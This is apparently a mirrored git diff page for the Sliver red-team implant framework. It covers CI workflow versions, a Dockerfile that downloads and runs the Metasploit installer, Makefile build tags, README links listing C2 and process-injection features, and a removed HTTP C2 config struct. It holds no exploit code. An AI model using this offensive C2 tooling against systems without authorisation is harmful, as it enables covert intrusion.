mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-09 09:59:43 -10:00
Compare commits
3
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dcfc51def3 | ||
|
|
af6af668fc | ||
|
|
e68d5ed5ea |
No files matched your search
@@ -6,15 +6,15 @@ on:
|
||||
|
||||
jobs:
|
||||
servers-build:
|
||||
name: Release Build Server
|
||||
name: Build Server Binaries
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -22,7 +22,7 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -37,18 +37,18 @@ jobs:
|
||||
path: ./sliver-server_*
|
||||
|
||||
clients-build:
|
||||
name: Release Build Client
|
||||
name: Build Client Binaries
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
@@ -16,13 +16,13 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -36,7 +36,7 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
|
||||
@@ -1,102 +0,0 @@
|
||||
# Sample workflow for building and deploying a Next.js site to GitHub Pages
|
||||
#
|
||||
# To get started with Next.js see: https://nextjs.org/docs/getting-started
|
||||
#
|
||||
name: Sliver Docs
|
||||
|
||||
on:
|
||||
# Runs on pushes targeting the default branch
|
||||
push:
|
||||
branches: ["master"]
|
||||
|
||||
# Allows you to run this workflow manually from the Actions tab
|
||||
workflow_dispatch:
|
||||
|
||||
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
|
||||
permissions:
|
||||
contents: read
|
||||
pages: write
|
||||
id-token: write
|
||||
|
||||
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
|
||||
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
|
||||
concurrency:
|
||||
group: "pages"
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
defaults:
|
||||
run:
|
||||
working-directory: ${{ github.workspace }}/docs/sliver-docs
|
||||
env:
|
||||
working-directory: ${{ github.workspace }}/docs/sliver-docs
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Detect package manager
|
||||
id: detect-package-manager
|
||||
run: |
|
||||
if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
|
||||
echo "manager=yarn" >> $GITHUB_OUTPUT
|
||||
echo "command=install" >> $GITHUB_OUTPUT
|
||||
echo "runner=yarn" >> $GITHUB_OUTPUT
|
||||
exit 0
|
||||
elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
|
||||
echo "manager=npm" >> $GITHUB_OUTPUT
|
||||
echo "command=ci" >> $GITHUB_OUTPUT
|
||||
echo "runner=npx --no-install" >> $GITHUB_OUTPUT
|
||||
exit 0
|
||||
else
|
||||
echo "Unable to determine package manager"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
cache: "npm"
|
||||
cache-dependency-path: "**/package-lock.json"
|
||||
node-version: "lts/*"
|
||||
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v3
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v3
|
||||
with:
|
||||
path: |
|
||||
.next/cache
|
||||
# Generate a new cache whenever packages or source files change.
|
||||
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
|
||||
# If source files changed but packages didn't, rebuild from a prior cache.
|
||||
restore-keys: |
|
||||
${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
|
||||
|
||||
- name: Install dependencies
|
||||
working-directory: ${{ env.working-directory}}
|
||||
run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
|
||||
|
||||
- name: Build with Next.js
|
||||
working-directory: ${{ env.working-directory}}
|
||||
run: ${{ steps.detect-package-manager.outputs.runner }} next build
|
||||
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v1
|
||||
with:
|
||||
path: ${{ github.workspace }}/docs/sliver-docs/out
|
||||
|
||||
# Deployment job
|
||||
deploy:
|
||||
environment:
|
||||
name: github-pages
|
||||
url: ${{ steps.deployment.outputs.page_url }}
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
steps:
|
||||
- name: Deploy to GitHub Pages
|
||||
id: deployment
|
||||
uses: actions/deploy-pages@v2
|
||||
@@ -3,14 +3,6 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
paths:
|
||||
- "go.mod"
|
||||
- "go.sum"
|
||||
- "Makefile"
|
||||
- "**/*.go"
|
||||
- "**/*.c"
|
||||
- "**/*.h"
|
||||
- "**/*.sh"
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
@@ -18,15 +10,15 @@ on:
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
linux-windows-build-test:
|
||||
name: Linux & Windows Test
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -35,7 +27,7 @@ jobs:
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -52,21 +44,21 @@ jobs:
|
||||
- name: Make Linux (arm64)
|
||||
run: make linux-arm64
|
||||
|
||||
macos-build-test:
|
||||
name: MacOS Test
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -88,13 +80,13 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.21
|
||||
uses: actions/setup-go@v5
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.21"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
+53
-107
@@ -1,125 +1,71 @@
|
||||
FROM golang:1.20.4
|
||||
|
||||
#
|
||||
# For production:
|
||||
# docker build --target production -t sliver .
|
||||
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
|
||||
#
|
||||
# For unit testing:
|
||||
# docker build --target test .
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
# Sliver using this container configuration! However, if you do want
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM --platform=linux/amd64 golang:1.21.4 as base
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
### Base packages
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
### Add sliver user
|
||||
#
|
||||
# > User
|
||||
#
|
||||
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
|
||||
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
|
||||
### Build sliver:
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all
|
||||
RUN make
|
||||
RUN cp -vv sliver-server /opt/sliver-server
|
||||
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM --platform=linux/amd64 base as test
|
||||
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
### Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
libxml2 libxml2-dev libxslt-dev locate gnupg \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
curl libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
### Install MSF for stager generation
|
||||
#
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall \
|
||||
&& mkdir -p ~/.msf4/ \
|
||||
&& touch ~/.msf4/initial_setup_complete
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get remove -y curl gnupg \
|
||||
&& apt-get autoremove -y \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
#
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver \
|
||||
&& useradd -r -u 999 -g sliver sliver \
|
||||
&& mkdir -p /home/sliver/ \
|
||||
&& chown -R sliver:sliver /home/sliver \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
# Protoc
|
||||
# WORKDIR /tmp
|
||||
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
# && cp -vv ./bin/protoc /usr/local/bin
|
||||
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
### Copy compiled binary
|
||||
COPY --from=base /opt/sliver-server /opt/sliver-server
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all \
|
||||
&& make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
|
||||
### Unpack Sliver:
|
||||
USER sliver
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
WORKDIR /home/sliver/
|
||||
VOLUME [ "/home/sliver/.sliver" ]
|
||||
ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
### Slim production image, i.e. without MSF and assoicated libraries
|
||||
### Still include GCC and MinGW for cross-platform generation
|
||||
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get autoremove -y \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver \
|
||||
&& useradd -r -u 999 -g sliver sliver \
|
||||
&& mkdir -p /home/sliver/ \
|
||||
&& chown -R sliver:sliver /home/sliver
|
||||
|
||||
### Copy compiled binary
|
||||
COPY --from=base /opt/sliver-server /opt/sliver-server
|
||||
|
||||
### Unpack Sliver:
|
||||
USER sliver
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
WORKDIR /home/sliver/
|
||||
VOLUME [ "/home/sliver/.sliver" ]
|
||||
ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
@@ -5,7 +5,7 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags go_sqlite
|
||||
TAGS ?= -tags osusergo,netgo,go_sqlite
|
||||
CGO_ENABLED = 0
|
||||
|
||||
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 21
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 20
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
@@ -155,11 +155,11 @@ clients: clean .downloaded_assets validate-go-version
|
||||
|
||||
.PHONY: servers
|
||||
servers:
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
|
||||
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
|
||||
@@ -18,9 +18,9 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
|
||||
- Compile-time obfuscation
|
||||
- Multiplayer-mode
|
||||
- Staged and Stageless payloads
|
||||
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
|
||||
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
|
||||
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
|
||||
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
- Windows process migration, process injection, user token manipulation, etc.
|
||||
- Let's Encrypt integration
|
||||
@@ -31,7 +31,7 @@ For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x
|
||||
|
||||
### Getting Started
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://sliver.sh/docs?name=Getting+Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
@@ -39,11 +39,11 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
|
||||
### Compile From Source
|
||||
|
||||
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
|
||||
@@ -61,9 +61,14 @@ def docker_rm_all():
|
||||
|
||||
|
||||
def build():
|
||||
status = exec_cmd("docker build --target test .")
|
||||
status = exec_cmd("docker build -t sliver .")
|
||||
if status == 0:
|
||||
print("\n\n" + INFO + "Build successful")
|
||||
print(
|
||||
INFO
|
||||
+ "Build successful, start with %sdocker run -it sliver:latest%s"
|
||||
% (BOLD, NORM)
|
||||
)
|
||||
print(INFO + "Remember you'll need to manually forward network ports")
|
||||
|
||||
|
||||
def main(args):
|
||||
|
||||
@@ -1,86 +0,0 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Methods []string
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
//
|
||||
// .js = poll
|
||||
//
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package alias
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ package alias
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -49,7 +50,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -77,7 +78,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Error creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -132,7 +133,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintErrorf("Failed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -165,7 +166,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
